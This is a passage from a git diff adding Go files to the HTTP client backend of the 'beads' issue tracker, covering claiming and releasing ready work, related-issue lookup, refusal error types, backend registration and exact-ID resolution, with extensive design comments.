them survives on the served +// one. +// +// - the ready-at-fetch / claim-at-dial window: a row that gained a blocker +// between the listing and the claim can still be claimed, which the local +// one-transaction role can never do; +// - a false empty under contention: after the bounded refetch below, a front +// that was never actually empty is reported as lost races — an ERROR +// distinct from the nil-Claimed nil-error answer an empty front earns, so a +// polling agent is never told "nothing to do" about work it merely lost; +// - the claimed row's cardinalities come from the READY PAGE rather than from +// the claiming transaction. See the hydration note on composedClaim below. +type httpReadyClaimer struct { + store *Store + wire WriteWire +} + +var _ issueops.ReadyClaimer = (*httpReadyClaimer)(nil) + +// ErrClaimRacesLost reports that every candidate this claim looked at was taken +// by someone else before it could take one. It is deliberately NOT the empty +// front: the queue had work, and re-running is the recovery. +var ErrClaimRacesLost = errors.New("every ready candidate was claimed by someone else") + +// ClaimRacesLostError names how many races were lost and where, because "try +// again" without a count cannot be told from a broken claim path. +type ClaimRacesLostError struct { + Actor string + Attempts int + ServerURL string +} + +func (e *ClaimRacesLostError) Error() string { + return fmt.Sprintf("lost %d races for ready work on bd serve at %s; re-run to take the next one", + e.Attempts, e.ServerURL) +} + +func (e *ClaimRacesLostError) Unwrap() error { return ErrClaimRacesLost } + +// ClaimNext takes the next ready row the filter admits. +// +// The filter is the reader's own vocabulary and is encoded by the same table the +// listing uses on BOTH legs, so the claim asks exactly the question `bd ready` +// shows — an inexpressible member refuses there rather than widening the +// candidate set here. +func (r *httpReadyClaimer) ClaimNext(ctx context.Context, req issueops.ClaimNextRequest) (result issueops.ClaimNextResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // whichever leg raised it, serveClaimNext's encode.ClaimNextParams or + // composeClaimNext's encode.ReadyParams — into *InexpressibleError so + // errors.As(err, &unsupported) reaches *storage.ErrUnsupported, same as + // inexpressible does for a read role. Both legs return directly from this + // method's own return statements, so one defer here catches both. + defer func() { err = r.store.inexpressible("ReadyClaimer.ClaimNext", err) }() + // The role's own request rules, taken from the one place every ReadyClaimer + // shares them rather than restated here, and run BEFORE the leg is chosen so + // both legs refuse the same set. Restating them is how this leg drifted: + // upstream added the Brief refusal to the shared validator and this copy + // kept accepting a projection on a MUTATING call — the field whose whole job + // is to tell a caller it got less than it asked for, answering that it got + // everything. + if err := storageops.ValidateClaimNextRequest(req); err != nil { + return issueops.ClaimNextResult{}, err + } + + served, err := r.servesClaimNext(ctx) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if served { + return r.serveClaimNext(ctx, req) + } + return r.composeClaimNext(ctx, req) +} + +// servesClaimNext reports whether the server advertises issues.claimNext. It +// forces the one lazy handshake the store already owns and reads the cached +// capability list, so the check costs at most one round trip and none once the +// handshake has run — servesBatchClose's shape exactly, for the same question. +func (r *httpReadyClaimer) servesClaimNext(ctx context.Context) (bool, error) { + snap, err := r.store.snapshot(ctx) + if err != nil { + return false, err + } + if snap == nil { + return false, nil + } + token, _ := wire.CapabilityFor(wire.OpClaimNextIssue) + return slices.Contains(snap.Capabilities, token), nil +} + +// serveClaimNext sends the whole request on one issues:claimNext call. +// +// THE ANSWER IS THE ROLE'S RESULT ALREADY. `claimed` is pinned to +// types.IssueWithCounts by the document, hydrated inside the transaction that +// committed the claim, so it passes through unrewritten — no counts to stitch, +// no second read to make, and nothing for this client to recompute. A client +// that rebuilt the row here would be inventing a hydration the wire had already +// done correctly. +// +// AN ABSENT `claimed` IS A NORMAL OUTCOME and is the whole signal: there is no +// boolean beside it, so a drained front is a 200 whose body is `{}`. That +// decodes to a nil pointer, which is exactly what ClaimNextResult means by "nil +// Claimed, nil error, nothing written". +func (r *httpReadyClaimer) serveClaimNext(ctx context.Context, req issueops.ClaimNextRequest) (issueops.ClaimNextResult, error) { + params, err := encode.ClaimNextParams(req.Filter) + if err != nil { + return issueops.ClaimNextResult{}, err + } + res, err := r.wire.ClaimNextIssue(ctx, params, apigen.ClaimNextRequest{Actor: req.Actor}) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if err := checkServedClaimNext(res.Claimed); err != nil { + return issueops.ClaimNextResult{}, err + } + return issueops.ClaimNextResult{Claimed: res.Claimed}, nil +} + +// checkServedClaimNext holds a served `claimed` to the role contract, and it is +// ONE rule where batchClose's checkServedClaim is three. +// +// A CLAIM CARRYING NO ROW is the rule both share, and it is here for the harder +// of the two reasons that function gives. types.IssueWithCounts holds the row as +// an EMBEDDED POINTER, so an object carrying the cardinalities and none of the +// issue's own members decodes to a non-nil claim whose Issue is nil — a shape +// nothing on the wire tells apart from a claim that landed, and one nothing +// downstream is written to expect. Passing it through is not a wrong answer but +// a PANIC in the caller: `bd ready --claim` dereferences the claimed row's ID +// with no nil check, and the hook decorator above this store fires the +// workspace's on_update hook on the member's PRESENCE alone. +// +// THE OTHER TWO RULES DO NOT APPLY HERE, and the difference is the operation's +// shape rather than a laxer standard. batchClose refuses a claim the request +// never ASKED for and a claim for a batch that closed NOTHING, because there the +// claim is an optional rider on a different act: both preconditions are facts +// about the request and its outcomes, and both are checkable. This operation IS +// the claim — asking is what calling it means, and there is no other outcome for +// it to be earned by — so restating either would be asserting a tautology, and a +// rule that cannot fail is a rule that teaches a later reader the wrong thing +// about what is being checked. +// +// THE CLAIMED ID IS CHECKED AGAINST NOTHING, for exactly the reason it is not +// checked there: the answer names no id the caller enumerated. It names the next +// READY row, chosen by a predicate this client cannot evaluate without running +// the selection the operation exists to keep inside one transaction. +func checkServedClaimNext(claimed *types.IssueWithCounts) error { + if claimed == nil { + return nil + } + if claimed.Issue == nil { + return fmt.Errorf("bd serve returned a claim carrying no issue") + } + return nil +} + +// composeClaimNext is the DOWN-LEVEL leg: one listReadyWork page, then claimIssue +// down it until one lands. It is reached only when issues.claimNext is absent, +// and L14 is the ledger row for everything it cannot promise. +func (r *httpReadyClaimer) composeClaimNext(ctx context.Context, req issueops.ClaimNextRequest) (issueops.ClaimNextResult, error) { + // A copy, because the request is the caller's and the page size is ours. + filter := req.Filter + page := readyClaimPage + filter.Limit = &page + params, err := encode.ReadyParams(filter) + if err != nil { + return issueops.ClaimNextResult{}, err + } + + // At most one refetch, and only after a FULL page was lost end to end: a + // short page means the front really is that short, so refetching it would + // only re-read the rows that just refused. Two passes bound the work a + // single ClaimNext can do against a server under contention. + var lost int + for attempt := 0; attempt < 2; attempt++ { + ready, err := r.wire.ListReadyWork(ctx, params) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if len(ready.Items) == 0 { + // The steady state of a drained queue, and a normal outcome: nil + // Claimed, nil error, nothing written. + return issueops.ClaimNextResult{}, nil + } + + for i := range ready.Items { + row := ready.Items[i] + if row.Issue == nil { + continue + } + claimed, err := r.composedClaim(ctx, req.Actor, row) + switch { + case err == nil: + return issueops.ClaimNextResult{Claimed: claimed}, nil + case isLostRace(err): + lost++ + default: + return issueops.ClaimNextResult{}, err + } + } + if len(ready.Items) < page { + break + } + } + return issueops.ClaimNextResult{}, &ClaimRacesLostError{ + Actor: req.Actor, Attempts: lost, ServerURL: r.store.target.String(), + } +} + +// composedClaim takes one candidate and assembles the hydrated row the role +// promises, for the down-level leg alone. +// +// HYDRATION. ClaimNextResult.Claimed is an issue plus its cardinalities, and the +// wire's ClaimResponse carries the bare row. The counts here therefore come from +// the ready page's own IssueWithCounts rather than from a second read: the issue +// is the POST-claim row the claim itself answered, and the counts are as of the +// listing. A claim changes no dependency, dependent or comment count, so the +// only staleness is the listing window L14's first residue already owns — +// whereas a follow-up getIssue would add a read that can fail AFTER the claim is +// durable, which is a worse answer to the same question. +func (r *httpReadyClaimer) composedClaim(ctx context.Context, actor string, row apigen.IssueWithCounts) (*types.IssueWithCounts, error) { + res, err := r.wire.ClaimIssue(ctx, row.Issue.ID, apigen.ClaimRequest{Actor: actor}) + if err != nil { + return nil, err + } + issue := res.Issue + return &types.IssueWithCounts{ + Issue: &issue, + DependencyCount: row.DependencyCount, + DependentCount: row.DependentCount, + CommentCount: row.CommentCount, + Parent: row.Parent, + }, nil +} + +// isLostRace classifies the refusals that mean "someone else got there first", +// which the loop walks past rather than surfacing. +// +// ErrNotFound joins the two claim refusals deliberately: a row listed as ready +// and gone by the time it was dialed was deleted or promoted mid-loop, which is +// the same situation for a caller that just wants the next piece of work. +func isLostRace(err error) bool { + return errors.Is(err, issueops.ErrAlreadyClaimed) || + errors.Is(err, issueops.ErrNotClaimable) || + errors.Is(err, issueops.ErrNotFound) +} diff --git a/internal/httpclient/refusal.go b/internal/httpclient/refusal.go new file mode 100644 index 000000000..408d14efc --- /dev/null +++ b/internal/httpclient/refusal.go @@ -0,0 +1,87 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/refusal.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "fmt" + + "github.com/steveyegge/beads/internal/httpclient/encode" +) + +// InexpressibleError is what a caller gets when a request carries a field the +// v0 wire has no member for: the encoder's divergence-ledger row, joined to the +// portable refusal sentinel. +// +// It is two errors rather than one because two audiences classify it. A caller +// holding an issueops role reaches for *storage.ErrUnsupported — that is what +// the role contracts assert on a knob a backend cannot serve, and it is the +// same arm a local backend's refusal answers. The refusal taxonomy (D7) reaches +// for the LEDGER ROW, because case 3's text names the flag that produced the +// parameter and the reason it cannot cross. Neither is derivable from the +// other, so the error carries both and errors.Is/errors.As reach each. +// +// The Op it names is the ROLE METHOD, not a storage method: nothing on the +// unsupported allowlist refuses this way, and a refusal that named `IssueReader` +// would say the accessor is unserved when the accessor is exactly what answered. +type InexpressibleError struct { + // Unsup is the portable sentinel, decorated with the server context D7 + // renders (see (*Store).unsupported). + Unsup *ErrHTTPUnsupported + // Refused is the encoder's refusal, carrying the ledger row: the flag or + // field, the reason, the design decision and its pin. + Refused *encode.RefusedError + // detail is the ORIGINAL error's own Error() text, preserved so a refusal + // a caller decorated with its own context before it reached inexpressible + // (a batch item's index, a dependency's position, a patch member's name) + // keeps naming that context. Empty when the original error IS the bare + // refusal, which is reads' own shape today — see inexpressible's doc. + detail string +} + +func (e *InexpressibleError) Error() string { + msg := e.detail + if msg == "" { + msg = e.Refused.Error() + } + if e.Unsup == nil || e.Unsup.ServerURL == "" { + return msg + } + return fmt.Sprintf("%s (bd serve at %s)", msg, e.Unsup.ServerURL) +} + +// Unwrap returns both arms, so errors.As reaches *storage.ErrUnsupported and +// errors.Is reaches encode.ErrRefused off the same value. +func (e *InexpressibleError) Unwrap() []error { return []error{e.Unsup, e.Refused} } + +// inexpressible decorates an encoder refusal for op, or passes any other error +// through untouched. +// +// The pass-through matters: an encoder can also fail for reasons that are NOT +// divergences — a table lookup for an operation it does not encode, a source +// value of the wrong type — and dressing one of those as an unsupported +// capability would tell a user to upgrade their server over a client bug. +// +// A WRITE ROLE calls this at its own exported method's single defer (never +// at the raw refuse() call inside a nested encoder helper), so a refusal that +// a deeper helper already decorated with its own "items[%d]" or "Issue.%s" +// context arrives here as err's own composite message — preserved in detail +// — rather than as the bare *encode.RefusedError the ledger row alone would +// render. This is how a write-side refusal comes to satisfy +// errors.As(*issueops.ErrUnsupported) exactly as a read-side one already +// does, without rewriting every encoder that builds one. +func (s *Store) inexpressible(op string, err error) error { + var refused *encode.RefusedError + if !errors.As(err, &refused) { + return err + } + unsup, ok := s.unsupported(op).(*ErrHTTPUnsupported) + if !ok { + return err + } + detail := err.Error() + if detail == refused.Error() { + detail = "" + } + return &InexpressibleError{Unsup: unsup, Refused: refused, detail: detail} +} diff --git a/internal/httpclient/register.go b/internal/httpclient/register.go new file mode 100644 index 000000000..441e86708 --- /dev/null +++ b/internal/httpclient/register.go @@ -0,0 +1,30 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/register.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import "github.com/steveyegge/beads/internal/storage/backends" + +// Register adds the http client store to the backend registry under the "http" +// name, so workspace validation, discovery and store dispatch recognize +// metadata.json's `backend: "http"`. +// +// Deliberately not an init, for the reason postgres.Register documents: +// registration is a property of the distribution being built, not of the import +// graph. An OSS bd that reached this package transitively would gain a +// selectable "http" backend it must instead hard-fail on with +// UnknownBackendError. Only a distribution that opts in via its own +// build-tagged wiring in cmd/bd calls this. +// +// WorkspaceIsBeadsDir is true: there is no local database to discover, and +// metadata.json plus the activation sidecar are the whole workspace. +// +// Register panics on a duplicate registration, like any process-start wiring +// error, so it must have exactly one production call site. +func Register() { + backends.Register(Backend, backends.Backend{ + Open: NewFromConfig, + OpenReadOnly: NewReadOnlyFromConfig, + WorkspaceIsBeadsDir: true, + Remote: true, + }) +} diff --git a/internal/httpclient/relations.go b/internal/httpclient/relations.go new file mode 100644 index 000000000..f99f7a3a4 --- /dev/null +++ b/internal/httpclient/relations.go @@ -0,0 +1,146 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/relations.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "net/http" + "net/url" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// httpRelations serves issueops.Relations from listRelatedIssues (GET +// /v0/beads/issues/{id}/related) — the TWENTY-FIFTH wire-backed accessor, and +// the first read on this surface anchored on ONE issue in the PATH. +// +// IT IS SINGLE-ANCHOR, which is the difference from every other graph role here +// and the reason its miss is shaped differently. EdgeReader and GraphCounter +// take a LIST of anchors, so an id that names nothing has to be reported per +// anchor — `missing: true` beside the ones that answered. This request names +// exactly one, so there is nowhere to put a per-anchor flag and no need for one: +// an anchor on neither plane is a 404, which the shared problem mapper has +// already turned into issueops.ErrNotFound. That is the role's own promise — +// "this issue has no dependencies" and "there is no such issue" are different +// facts — and it costs this client nothing but the discipline of not inventing a +// Missing member the wire does not have. +// +// BOTH HALVES ARE TWO-PLANE and neither half is this client's work. The edges +// come from `dependencies` and `wisp_dependencies`, the far ends are hydrated +// from `issues` and `wisps`, and a WISP ID IS A LEGAL ANCHOR — all three decided +// inside the server's own transaction. What this layer must not do is narrow any +// of them, which is why there is no plane parameter here to forget: the +// operation publishes none, because the role has none. +// +// THE ELEMENT CARRIES NO REVISION BY CONSTRUCTION, so this role is the one place +// on the wave-2b surface with no revision-token stitch. types.Issue.RowVersion +// is `json:"-"` and IssueWithDependencyMetadata publishes no sibling member for +// it, unlike releaseIssue's answer — a neighbor list is not a +// read-modify-write's starting point, and nothing here composes a following +// expected_version. +// +// THE ORDER IS THE SERVER'S and is deliberately not re-applied. The role pins +// ascending by the neighbor's id with the edge type breaking a tie, and +// FinishRelatedPage — the one body both store legs run — produces exactly that +// before the rows are marshaled. Re-sorting here would be a second definition of +// one ordering, which is the drift the shared helper exists to prevent. +type httpRelations struct{ store *Store } + +var _ issueops.Relations = httpRelations{} + +// Related returns the anchor's neighbors in the requested direction. +// +// THE VALIDATION IS THE ROLE'S OWN BODY, not a second copy of it: this calls +// storageops.ValidateRelatedRequest, the same function the two Dolt legs and the +// unit-of-work leg run, so the three refusals — an empty anchor id, a direction +// outside the closed set, an unusable type filter — are one definition with one +// ORDER. The order is part of the answer: the id is checked FIRST, so a request +// carrying two mistakes names the same offender here as it does on every other +// backend. +// +// TWO OF THE THREE ARE ALSO REACHABLE ON THE SERVER and the third is not, which +// is why validating first is not merely an optimization. The path bound turns an +// unusable id into a 404 before the role is ever called, so the empty-id refusal +// exists ONLY on this side of the wire — a client that forwarded an empty id +// would earn `ErrNotFound` where every other backend answers `ErrValidation`. +func (r httpRelations) Related(ctx context.Context, req issueops.RelatedRequest) ([]*issueops.RelatedIssue, error) { + if err := storageops.ValidateRelatedRequest(req); err != nil { + return nil, err + } + + path, err := wire.IssueRelatedPath(req.ID) + if err != nil { + return nil, err + } + + q := url.Values{} + // Required and always sent, including a value the role has already accepted. + // The operation has no default direction and an absent one is a 400 rather + // than a walk of the other end — which is the whole reason the vocabulary is + // closed and the zero value invalid. + // + // The constants are the ListRelatedIssuesParamsDirection* family, spelled + // through relationDirection below rather than as bare strings: apigen carries + // a SECOND [out, in] enum for countDependencyEdges, so the two are one rename + // away from silently answering each other's question. + q.Set("direction", relationDirection(req.Direction)) + // Repeated rather than comma-joined, listDependencies' rule: the operation + // reads `type` with the repeatable list decoder and does no splitting, so a + // comma would travel into a type name. + for _, depType := range req.Types { + q.Add("type", string(depType)) + } + + var body apigen.RelatedIssues + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpListRelatedIssues, + Method: http.MethodGet, + Path: path, + Query: q, + IssueID: req.ID, + }, &body); err != nil { + return nil, err + } + + // Never nil for a successful call, which the role promises and a caller + // ranges over without checking. The wire promises `items` is an empty array + // and never null, so this is the belt to that braces — and it is the one + // shape a decode CAN produce that the document forbids, since an absent + // member unmarshals to a nil slice. + items := make([]*issueops.RelatedIssue, 0, len(body.Items)) + for i := range body.Items { + items = append(items, &body.Items[i]) + } + return items, nil +} + +// relationDirection maps the role's direction onto the parameter value, through +// the generated constants of THIS operation. +// +// It exists to make one class of mistake impossible rather than to convert two +// strings. apigen carries two [out, in] enums — this operation's +// ListRelatedIssuesParamsDirection* and countDependencyEdges' +// CountDependencyEdgesParamsDirection* — and the second one's arrival RENAMED +// the bare In/Out constants the first draft of a client like this would reach +// for. The two happen to spell the same values today, so a cross-wired reference +// would compile, pass, and answer the inverse graph the day either enum's +// values changed. +// +// A direction outside the closed set cannot reach here: ValidateRelatedRequest +// refuses it above, in the role's own order. The default arm therefore sends the +// value through UNTRANSLATED rather than guessing a direction — if the +// unreachable ever becomes reachable, the server's own 400 naming `direction` is +// a far better answer than a walk of whichever end this function picked. +func relationDirection(direction issueops.RelationDirection) string { + switch direction { + case issueops.RelationOut: + return string(apigen.ListRelatedIssuesParamsDirectionOut) + case issueops.RelationIn: + return string(apigen.ListRelatedIssuesParamsDirectionIn) + default: + return string(direction) + } +} diff --git a/internal/httpclient/releaser.go b/internal/httpclient/releaser.go new file mode 100644 index 000000000..5375803ca --- /dev/null +++ b/internal/httpclient/releaser.go @@ -0,0 +1,154 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/releaser.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// httpReleaser is issueops.Releaser over releaseIssue (POST +// /v0/beads/issues/{id}:release) — the TWENTY-THIRD wire-backed accessor, and +// the claim's inverse. +// +// THE MAPPING IS TOTAL on the request: all four members of ReleaseRequest have a +// wire member or the path, so nothing here refuses on shape and the ledger +// carries no W- row for this operation. What the port had to decide is three +// facts about the ANSWER and one about the refusals. +// +// THE POST-STATE IS ANONYMOUS, which is the Changed ruling and the reason this +// role cannot be idempotent the way Claimer is. A claim leaves its own signature +// on the row — assignee == actor, status in_progress — so a re-claim can be told +// from a foreign one; a release leaves assignee cleared, status open and +// started_at gone, which is the same row no matter who emptied it or whether it +// was ever full. So `changed` is true on every 200 this client will ever see, +// and the three situations an idempotent release would collapse — "I already +// released this", "a reaper beat me to it", "nothing ever claimed it" — arrive +// as refusals instead. This client transcribes them rather than deciding between +// them, which is what keeps a downstream adapter able to map the ones it can +// live with onto its own quiet answer. +// +// THE REVISION RIDES ON Issue.RowVersion AND NOWHERE ELSE. types.Issue.RowVersion +// is `json:"-"`, so the row the server sends carries no token at all and the +// operation publishes it as a sibling member; this role stitches the two back +// together, because the role's own leaf says the post-release token rides on +// Issue.RowVersion and that two spellings of one token is how they come to +// disagree. It is int64 on the Go contract and a decimal STRING on the wire +// (upstream #6053, types.RevisionToken): live tokens run past 5e17, where an +// IEEE-754 double's ulp is already 64, so a JSON number would hand a lossy +// consumer a value NEAR the token that is not it — and the corruption would +// only show up as a precondition_failed on the NEXT request. parseRevision +// reads the string back, and a token it cannot read refuses the answer. +// +// ONE REFUSAL IS FLATTENED and it is ledgered rather than hidden: the role +// splits an unheld row (ErrNotClaimed) from a status that will not accept a +// release (ErrNotReleasable), and the wire spells both `not_releasable` with no +// member telling them apart. See L-release-notclaimed; the wire's own code doc +// says the flattening is deliberate, and the client answers the WIDER of the two +// rather than asserting a fact the wire never sent. +type httpReleaser struct { + store *Store + wire WriteWire +} + +var _ issueops.Releaser = (*httpReleaser)(nil) + +// Release gives up the claim on one issue and reports the row it left behind. +// +// THE FOUR REFUSALS A CALLER ACTS ON reach it unchanged from the shared problem +// mapper, and naming them here is the point rather than documentation: an id on +// neither plane is issueops.ErrNotFound, a row that will not produce a release is +// issueops.ErrNotReleasable (the flattened pair above), a guard that missed is +// issueops.ErrAssigneeMismatch, and a foreign holder on the unconditional path is +// issueops.ErrAlreadyClaimed carrying *issueops.ClaimConflictError — the wire's +// spelling of the role's ErrNotOwner, which is the fifth refusal and the one +// this operation renames. A conditional caller never earns it: naming the holder +// REPLACES the fence, so a supervisor's release either matches or answers +// ErrAssigneeMismatch. Everything a caller downstream chooses to treat as "the +// claim is already gone" it chooses from those sentinels, so they travel whole. +func (r *httpReleaser) Release(ctx context.Context, req issueops.ReleaseRequest) (issueops.ReleaseResult, error) { + if err := validateReleaseRequest(req); err != nil { + return issueops.ReleaseResult{}, err + } + + body := apigen.ReleaseIssueRequest{Actor: req.Actor} + if req.ExpectedAssignee != nil { + // COPIED, never aliased. The role promises implementations never write + // through a caller's request, and handing this pointer to a marshaler is + // the kind of borrow that becomes a write when a helper is added. It is + // also sent UNTRIMMED: the comparison forgives separators and nothing + // else, so a padded expectation has to lose every time rather than + // intermittently. + expected := *req.ExpectedAssignee + body.ExpectedAssignee = &expected + } + if req.Force { + // Sent only when TRUE, because absent and `false` are the same request + // and the operation refuses `force` beside `expected_assignee`. A client + // that always sent the member would put both on the wire for a request + // that asked for neither conflict — legal today, since the server tests + // the value rather than the presence, and one server release away from + // not being. + force := true + body.Force = &force + } + + res, err := r.wire.ReleaseIssue(ctx, req.IssueID, body) + if err != nil { + return issueops.ReleaseResult{}, err + } + + // A COPY of the decoded row, so the result does not alias a response body, + // and the token stitched onto it rather than beside it. + issue := res.Issue + if issue.RowVersion, err = parseRevision("releaseIssue", res.Revision); err != nil { + return issueops.ReleaseResult{}, err + } + return issueops.ReleaseResult{Issue: &issue, Changed: res.Changed}, nil +} + +// validateReleaseRequest is the role's own request rules, restated. +// +// It is the client-side twin of internal/workapi.ValidateReleaseRequest, and it +// is redeclared rather than imported for counter.go's reason: internal/workapi +// is denied to this package by depguard, because a client that could build a +// filter is a client whose narrowing no server-side gate can observe. +// TestReleaseValidationMatchesTheSharedValidator pins the two against each other +// from a test file, where the rule does not apply — the same shape +// TestDefaultListLimitMatchesTheSharedDefault uses, and the answer to +// readyclaimer.go's warning that a restated rule is how a leg drifts. +// +// EVERY ONE OF THESE IS RAISED BEFORE THE DIAL, which is this seam's standing +// rule and sharper here than usual: the server refuses all three at the edge +// with a 400 the mapper turns into the same ErrValidation, so a client that +// skipped the check would still pass the contract — while spending a round trip +// to be told what the role's own contract already calls invalid, and binding the +// classification to a problem body a future server release might spell +// differently. +func validateReleaseRequest(req issueops.ReleaseRequest) error { + if strings.TrimSpace(req.Actor) == "" { + return fmt.Errorf("%w: release requires an actor to attribute it to", issueops.ErrValidation) + } + if strings.TrimSpace(req.IssueID) == "" { + return fmt.Errorf("%w: release requires an issue id", issueops.ErrValidation) + } + if req.ExpectedAssignee != nil { + // A non-nil pointer to "" is NOT "expected unassigned" here, unlike + // UpdateRequest.ExpectedAssignee: releasing a row nobody holds is not a + // release at all, and a caller that wants to assert a row is unheld is + // asking a READER a question. + if strings.TrimSpace(*req.ExpectedAssignee) == "" { + return fmt.Errorf("%w: expected assignee must name a holder; there is no release of an unheld issue", + issueops.ErrValidation) + } + if req.Force { + return fmt.Errorf("%w: force releases whoever holds the issue and expected-assignee releases only a named holder; a request cannot ask for both", + issueops.ErrValidation) + } + } + return nil +} diff --git a/internal/httpclient/required_served_tier_test.go b/internal/httpclient/required_served_tier_test.go new file mode 100644 index 000000000..e2bcc25aa --- /dev/null +++ b/internal/httpclient/required_served_tier_test.go @@ -0,0 +1,23 @@ +package httpclient + +import ( + "os" + "testing" +) + +// servedTierLinked reports whether this test binary links the served tier. +// served_harness_test.go, which builds only under cgo like every +// served_*_test.go file, sets it from its init. +var servedTierLinked bool + +// TestServedTierIsLinkedWhenRequired is the one served-tier check that builds +// without cgo. skipUnlessEmbeddedDolt turns a missing BEADS_TEST_EMBEDDED_DOLT +// into a failure under BEADS_HTTP_TEST_REQUIRED=1, but it lives in a cgo file: +// with cgo off the go tool drops every served_*_test.go file, so no served test +// exists to fail, and a required run would pass having served nothing. +func TestServedTierIsLinkedWhenRequired(t *testing.T) { + if os.Getenv("BEADS_HTTP_TEST_REQUIRED") == "1" && !servedTierLinked { + t.Fatal("BEADS_HTTP_TEST_REQUIRED=1 but this test binary was built without cgo, which drops " + + "the served-surface conformance tier (served_*_test.go); build it with CGO_ENABLED=1") + } +} diff --git a/internal/httpclient/resolve.go b/internal/httpclient/resolve.go new file mode 100644 index 000000000..e5344c09c --- /dev/null +++ b/internal/httpclient/resolve.go @@ -0,0 +1,222 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/resolve.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/http" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The id-resolution surface (design D11). ResolvePartialID is the front door +// every id-taking command goes through, and it makes exactly three store +// probes: an exact-ids SearchIssues, two GetConfig reads for the prefix +// vocabulary, and — only if those fail — a substring SearchIssueIDs. The first +// two are served here; the third has no wire operation at all and is on the +// unsupported allowlist, where the refusal below gives it its vocabulary. + +// ErrPartialIDSearch reports that a substring or prefix id lookup was asked of +// a server that publishes no operation for one. +var ErrPartialIDSearch = errors.New("partial-id search is not available over HTTP") + +// PartialIDSearchError is D11's dedicated refusal, and it is dedicated because +// the raw failure it replaces answers the wrong question. +// +// The input may be a partial id OR a full id that simply does not exist, and +// the client cannot tell which: it asked for an exact row and got nothing back. +// A "failed to search issues" fallthrough would report the second case as a +// backend fault and the first as nothing at all, so the text names both +// outcomes and the one recovery that covers them. +type PartialIDSearchError struct { + // Input is what the user typed, echoed so the message is about their id. + Input string + // ServerURL is the server that was asked. + ServerURL string + // Unsup is the portable sentinel, so errors.As classification holds through + // this type exactly as it does through every other refusal here. + Unsup *ErrHTTPUnsupported +} + +func (e *PartialIDSearchError) Error() string { + return fmt.Sprintf("no exact issue %q on bd serve at %s; partial-id search is not available over HTTP — "+ + "check the id or use a local workspace", e.Input, e.ServerURL) +} + +func (e *PartialIDSearchError) Unwrap() []error { return []error{e.Unsup, ErrPartialIDSearch} } + +func (s *Store) partialIDSearch(op, input string) error { + e := &PartialIDSearchError{Input: input, ServerURL: s.target.String()} + if unsup, ok := s.unsupported(op).(*ErrHTTPUnsupported); ok { + e.Unsup = unsup + } + return e +} + +// SearchIssues serves the two shapes the v0 wire can express and refuses every +// other one. +// +// The classification is the encoder's, not this method's: PlanSearch decides +// SHAPE FIRST and then sweeps the fields that shape cannot read, so a filter +// naming both an id set and a parent is refused before either arm is chosen. +// What is decided here is only what to do with each shape once it is named. +// +// The `query` argument is the substring search, and it has no wire operation: +// it refuses with D11's partial-id text rather than with a bare sentinel, +// because a caller that reaches this with a non-empty query is resolving an id +// and the useful thing to say is that the id was not found exactly. +func (s *Store) SearchIssues(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) { + if strings.TrimSpace(query) != "" { + return nil, s.partialIDSearch("SearchIssues", query) + } + plan, err := encode.PlanSearch(filter, func() encode.ListConfig { return s.listConfig(ctx) }) + if err != nil { + return nil, s.inexpressible("SearchIssues", err) + } + switch plan.Shape { + case encode.SearchExactIDs: + return s.getIssuesByExactID(ctx, plan.IDs) + case encode.SearchParentWalk: + return s.walkDescendants(ctx, plan) + } + return nil, s.unsupported("SearchIssues") +} + +// getIssuesByExactID is D11's fast path: one getIssue per named id, in the +// caller's order, bounded by the encoder at MaxExactIDs. +// +// A 404 becomes an ABSENT ROW, not an error. That is the whole reason this is a +// special case rather than a filter: ResolvePartialID's first probe reads +// `err == nil && len(issues) > 0`, so a miss reported as an error would abandon +// resolution at the exact point the resolver is supposed to fall through to its +// prefix pass. Every other failure — a dead connection, a busy server, a +// refused credential — passes through, because none of them is evidence about +// whether the row exists. +func (s *Store) getIssuesByExactID(ctx context.Context, ids []string) ([]*types.Issue, error) { + found := make([]*types.Issue, 0, len(ids)) + for _, id := range ids { + path, err := wire.IssuePath(id) + if err != nil { + return nil, err + } + var details types.IssueDetails + err = s.dispatch(ctx, wire.Request{ + Op: wire.OpGetIssue, + Method: http.MethodGet, + Path: path, + IssueID: id, + }, &details) + if errors.Is(err, issueops.ErrNotFound) { + continue + } + if err != nil { + return nil, err + } + // The detail view carries labels in a field of its OWN rather than on + // the embedded issue, and the local SearchIssues hydrates them onto the + // issue. Lifting them across is what makes the two answers the same + // value; a caller reading `issue.Labels` would otherwise see an + // unlabeled row over http and a labeled one locally. + issue := details.Issue + if len(issue.Labels) == 0 && len(details.Labels) > 0 { + issue.Labels = append([]string(nil), details.Labels...) + } + // Issue.RowVersion is json:"-", so the decode above left it at 0; + // details.Revision is getIssue's only wire spelling of the token, the + // same stitch bridge.go's own GetIssue makes. Without this, an exact-id + // hit through SearchIssues (e.g. the resolver's fast path) would carry + // a RowVersion of 0 where a getIssue of the same row populates the real + // token, and a caller that feeds the search result's RowVersion into a + // guarded write would get a spurious mismatch instead of none. + version, err := parseRevision("searchIssues(exact id)", details.Revision) + 